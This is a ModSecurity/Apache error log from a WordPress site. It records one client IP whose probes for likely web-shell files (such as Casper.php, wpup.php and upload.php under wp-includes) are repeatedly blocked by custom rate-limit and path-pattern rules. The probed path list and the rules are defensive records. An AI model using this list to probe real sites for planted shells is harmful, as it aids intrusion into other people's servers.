[Wed Feb 25 00:58:48.863493 2026] [:error] [pid 18458:tid 18809] [client 20.203.143.97:4308] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/galex.php"] [unique_id "aZ3YyAuir-tBe4tUisl2LgAAAo4"]
[Wed Feb 25 00:58:49.346405 2026] [:error] [pid 18458:tid 18806] [client 20.203.143.97:17522] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/galex.php"] [unique_id "aZ3YyQuir-tBe4tUisl2LwAAAow"]
[Wed Feb 25 00:58:49.970084 2026] [:error] [pid 26872:tid 26876] [client 20.203.143.97:48830] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/galex.php"] [unique_id "aZ3YyXxLbzvRGuzwKjnH3QAAAEI"]
[Wed Feb 25 00:58:50.621980 2026] [:error] [pid 26872:tid 26879] [client 20.203.143.97:11529] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/galex.php"] [unique_id "aZ3YynxLbzvRGuzwKjnH4gAAAEU"]
[Wed Feb 25 00:58:51.464427 2026] [:error] [pid 26872:tid 26880] [client 20.203.143.97:11021] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xb.php"] [unique_id "aZ3Yy3xLbzvRGuzwKjnH5QAAAEY"]
[Wed Feb 25 00:58:52.189531 2026] [:error] [pid 18458:tid 18812] [client 20.203.143.97:11019] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xb.php"] [unique_id "aZ3YzAuir-tBe4tUisl2MwAAApE"]
[Wed Feb 25 00:58:52.895477 2026] [:error] [pid 18441:tid 18724] [client 20.203.143.97:22840] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xb.php"] [unique_id "aZ3YzBYF1wpOnXIaHlON0AAAAM8"]
[Wed Feb 25 00:58:54.358978 2026] [:error] [pid 18458:tid 18804] [client 20.203.143.97:4381] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xb.php"] [unique_id "aZ3Yzguir-tBe4tUisl2NQAAAoo"]
[Wed Feb 25 00:58:55.451479 2026] [:error] [pid 18458:tid 18810] [client 20.203.143.97:46059] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ova.php"] [unique_id "aZ3Yzwuir-tBe4tUisl2PAAAAo8"]
[Wed Feb 25 00:58:56.089448 2026] [:error] [pid 18441:tid 18727] [client 20.203.143.97:17134] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ova.php"] [unique_id "aZ3Y0BYF1wpOnXIaHlON1gAAANI"]
[Wed Feb 25 00:58:57.281883 2026] [:error] [pid 18441:tid 18732] [client 20.203.143.97:11574] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ova.php"] [unique_id "aZ3Y0RYF1wpOnXIaHlON2QAAANc"]
[Wed Feb 25 00:58:58.343334 2026] [:error] [pid 18441:tid 18713] [client 20.203.143.97:20865] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ova.php"] [unique_id "aZ3Y0hYF1wpOnXIaHlON4AAAAMU"]
[Wed Feb 25 00:58:59.515262 2026] [:error] [pid 26872:tid 26884] [client 20.203.143.97:4229] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "aZ3Y03xLbzvRGuzwKjnH_wAAAEo"]
[Wed Feb 25 00:59:00.369725 2026] [:error] [pid 26872:tid 26874] [client 20.203.143.97:22826] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "aZ3Y1HxLbzvRGuzwKjnIBgAAAEA"]
[Wed Feb 25 00:59:01.026840 2026] [:error] [pid 18458:tid 18816] [client 20.203.143.97:4275] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "aZ3Y1Quir-tBe4tUisl2SwAAApU"]
[Wed Feb 25 00:59:01.805875 2026] [:error] [pid 18458:tid 18806] [client 20.203.143.97:23599] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "aZ3Y1Quir-tBe4tUisl2TQAAAow"]
[Wed Feb 25 00:59:02.421583 2026] [:error] [pid 26872:tid 26884] [client 20.203.143.97:8644] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rh.php"] [unique_id "aZ3Y1nxLbzvRGuzwKjnICwAAAEo"]
[Wed Feb 25 00:59:02.950482 2026] [:error] [pid 18441:tid 18710] [client 20.203.143.97:11408] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rh.php"] [unique_id "aZ3Y1hYF1wpOnXIaHlON4gAAAMI"]
[Wed Feb 25 00:59:03.581461 2026] [:error] [pid 26872:tid 26874] [client 20.203.143.97:11436] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rh.php"] [unique_id "aZ3Y13xLbzvRGuzwKjnIEwAAAEA"]
[Wed Feb 25 00:59:04.305997 2026] [:error] [pid 26872:tid 26888] [client 20.203.143.97:12533] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rh.php"] [unique_id "aZ3Y2HxLbzvRGuzwKjnIFwAAAE4"]
[Wed Feb 25 00:59:04.893844 2026] [:error] [pid 18447:tid 18763] [client 20.203.143.97:11152] [client 20.203.143.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aZ3Y2M-TpHVc8yBj5ealogAAAgA"]
[Wed Feb 25 00:59:05.513954 2026] [:error] [pid 18458:tid 18794] [client 20.203.143.97:13305] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/gravity_forms/g/e/e/a/Casper.php"] [unique_id "aZ3Y2Quir-tBe4tUisl2VQAAAoE"]
[Wed Feb 25 00:59:06.460594 2026] [:error] [pid 18458:tid 18812] [client 20.203.143.97:26929] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/gravity_forms/g/e/e/a/Casper.php"] [unique_id "aZ3Y2guir-tBe4tUisl2XQAAApE"]
[Wed Feb 25 00:59:07.018175 2026] [:error] [pid 18441:tid 18727] [client 20.203.143.97:17443] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/gravity_forms/g/e/e/a/Casper.php"] [unique_id "aZ3Y2xYF1wpOnXIaHlON5QAAANI"]
[Wed Feb 25 00:59:07.647831 2026] [:error] [pid 18458:tid 18813] [client 20.203.143.97:9804] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/gravity_forms/g/e/e/a/Casper.php"] [unique_id "aZ3Y2wuir-tBe4tUisl2ZAAAApI"]
[Wed Feb 25 00:59:08.263243 2026] [:error] [pid 18447:tid 18768] [client 20.203.143.97:14717] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/spip.php"] [unique_id "aZ3Y3M-TpHVc8yBj5ealqAAAAgU"]
[Wed Feb 25 00:59:08.876641 2026] [:error] [pid 26872:tid 26877] [client 20.203.143.97:14670] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/spip.php"] [unique_id "aZ3Y3HxLbzvRGuzwKjnIJQAAAEM"]
[Wed Feb 25 00:59:09.586823 2026] [:error] [pid 18458:tid 18802] [client 20.203.143.97:16295] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/spip.php"] [unique_id "aZ3Y3Quir-tBe4tUisl2aQAAAog"]
[Wed Feb 25 00:59:10.156888 2026] [:error] [pid 18458:tid 18798] [client 20.203.143.97:12958] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/spip.php"] [unique_id "aZ3Y3guir-tBe4tUisl2bAAAAoQ"]
[Wed Feb 25 00:59:10.635687 2026] [:error] [pid 18458:tid 18814] [client 20.203.143.97:17073] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/scripts/wpup.php"] [unique_id "aZ3Y3guir-tBe4tUisl2bwAAApM"]
[Wed Feb 25 00:59:11.180754 2026] [:error] [pid 18441:tid 18728] [client 20.203.143.97:10022] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/scripts/wpup.php"] [unique_id "aZ3Y3xYF1wpOnXIaHlON6wAAANM"]
[Wed Feb 25 00:59:11.795559 2026] [:error] [pid 18458:tid 18795] [client 20.203.143.97:8561] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/scripts/wpup.php"] [unique_id "aZ3Y3wuir-tBe4tUisl2dAAAAoI"]
[Wed Feb 25 00:59:12.421143 2026] [:error] [pid 26872:tid 26896] [client 20.203.143.97:4978] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/scripts/wpup.php"] [unique_id "aZ3Y4HxLbzvRGuzwKjnIMAAAAFY"]
[Wed Feb 25 00:59:13.008127 2026] [:error] [pid 18447:tid 18787] [client 20.203.143.97:13045] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wordpress/update/wpupex.php"] [unique_id "aZ3Y4c-TpHVc8yBj5ealrwAAAhg"]
[Wed Feb 25 00:59:13.882294 2026] [:error] [pid 18441:tid 18708] [client 20.203.143.97:11741] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wordpress/update/wpupex.php"] [unique_id "aZ3Y4RYF1wpOnXIaHlON8AAAAMA"]
[Wed Feb 25 00:59:15.050461 2026] [:error] [pid 26872:tid 26884] [client 20.203.143.97:11712] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wordpress/update/wpupex.php"] [unique_id "aZ3Y43xLbzvRGuzwKjnIQAAAAEo"]
[Wed Feb 25 00:59:16.085482 2026] [:error] [pid 26872:tid 26881] [client 20.203.143.97:25154] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wordpress/update/wpupex.php"] [unique_id "aZ3Y5HxLbzvRGuzwKjnITAAAAEc"]
[Wed Feb 25 00:59:17.491202 2026] [:error] [pid 18458:tid 18814] [client 20.203.143.97:13027] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ho/wpup.php"] [unique_id "aZ3Y5Quir-tBe4tUisl2ewAAApM"]
[Wed Feb 25 00:59:19.341574 2026] [:error] [pid 26872:tid 26876] [client 20.203.143.97:25171] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ho/wpup.php"] [unique_id "aZ3Y53xLbzvRGuzwKjnIXgAAAEI"]
[Wed Feb 25 00:59:20.755774 2026] [:error] [pid 18447:tid 18778] [client 20.203.143.97:45872] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ho/wpup.php"] [unique_id "aZ3Y6M-TpHVc8yBj5ealuAAAAg8"]
[Wed Feb 25 00:59:22.321997 2026] [:error] [pid 18850:tid 18866] [client 20.203.143.97:12753] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ho/wpup.php"] [unique_id "aZ3Y6uDBmHucoAJRnqnlKAAAAA4"]
[Wed Feb 25 00:59:24.156103 2026] [:error] [pid 18458:tid 18810] [client 20.203.143.97:4587] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/"] [unique_id "aZ3Y7Auir-tBe4tUisl2fwAAAo8"]
[Wed Feb 25 00:59:26.793591 2026] [:error] [pid 18447:tid 18767] [client 20.203.143.97:9686] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/"] [unique_id "aZ3Y7s-TpHVc8yBj5ealwwAAAgQ"]
[Wed Feb 25 00:59:28.945288 2026] [:error] [pid 26872:tid 26893] [client 20.203.143.97:10361] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/"] [unique_id "aZ3Y8HxLbzvRGuzwKjnIfgAAAFM"]
[Wed Feb 25 00:59:30.295855 2026] [:error] [pid 18850:tid 18860] [client 20.203.143.97:12091] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/"] [unique_id "aZ3Y8uDBmHucoAJRnqnlNgAAAAg"]
[Wed Feb 25 00:59:31.804036 2026] [:error] [pid 18850:tid 18868] [client 20.203.143.97:13365] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp/wp-content/plugins/classic-editor/js/geido.php"] [unique_id "aZ3Y8-DBmHucoAJRnqnlOQAAABA"]
[Wed Feb 25 00:59:33.183355 2026] [:error] [pid 18850:tid 18852] [client 20.203.143.97:11793] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp/wp-content/plugins/classic-editor/js/geido.php"] [unique_id "aZ3Y9eDBmHucoAJRnqnlPwAAAAA"]
[Wed Feb 25 00:59:34.143320 2026] [:error] [pid 18850:tid 18855] [client 20.203.143.97:14011] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp/wp-content/plugins/classic-editor/js/geido.php"] [unique_id "aZ3Y9uDBmHucoAJRnqnlQwAAAAM"]
[Wed Feb 25 00:59:35.084830 2026] [:error] [pid 18441:tid 18708] [client 20.203.143.97:14011] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp/wp-content/plugins/classic-editor/js/geido.php"] [unique_id "aZ3Y9xYF1wpOnXIaHlOOAAAAAMA"]
[Wed Feb 25 00:59:35.803580 2026] [:error] [pid 18447:tid 18767] [client 20.203.143.97:10281] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/myy.php"] [unique_id "aZ3Y98-TpHVc8yBj5eal5gAAAgQ"]
[Wed Feb 25 00:59:36.643454 2026] [:error] [pid 26872:tid 26882] [client 20.203.143.97:12183] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/myy.php"] [unique_id "aZ3Y-HxLbzvRGuzwKjnIjAAAAEg"]
[Wed Feb 25 00:59:37.911591 2026] [:error] [pid 18850:tid 18866] [client 20.203.143.97:20215] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/myy.php"] [unique_id "aZ3Y-eDBmHucoAJRnqnlVgAAAA4"]
[Wed Feb 25 00:59:38.636595 2026] [:error] [pid 18447:tid 18782] [client 20.203.143.97:8786] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/myy.php"] [unique_id "aZ3Y-s-TpHVc8yBj5eal7QAAAhM"]
[Wed Feb 25 00:59:48.264186 2026] [:error] [pid 26872:tid 26874] [client 20.203.143.97:9558] [client 20.203.143.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/Requests/library/upload.php"] [unique_id "aZ3ZBHxLbzvRGuzwKjnIvwAAAEA"]
[Wed Feb 25 00:59:55.332832 2026] [autoindex:error] [pid 26872:tid 26874] [client 20.203.143.97:11223] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/coffee/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
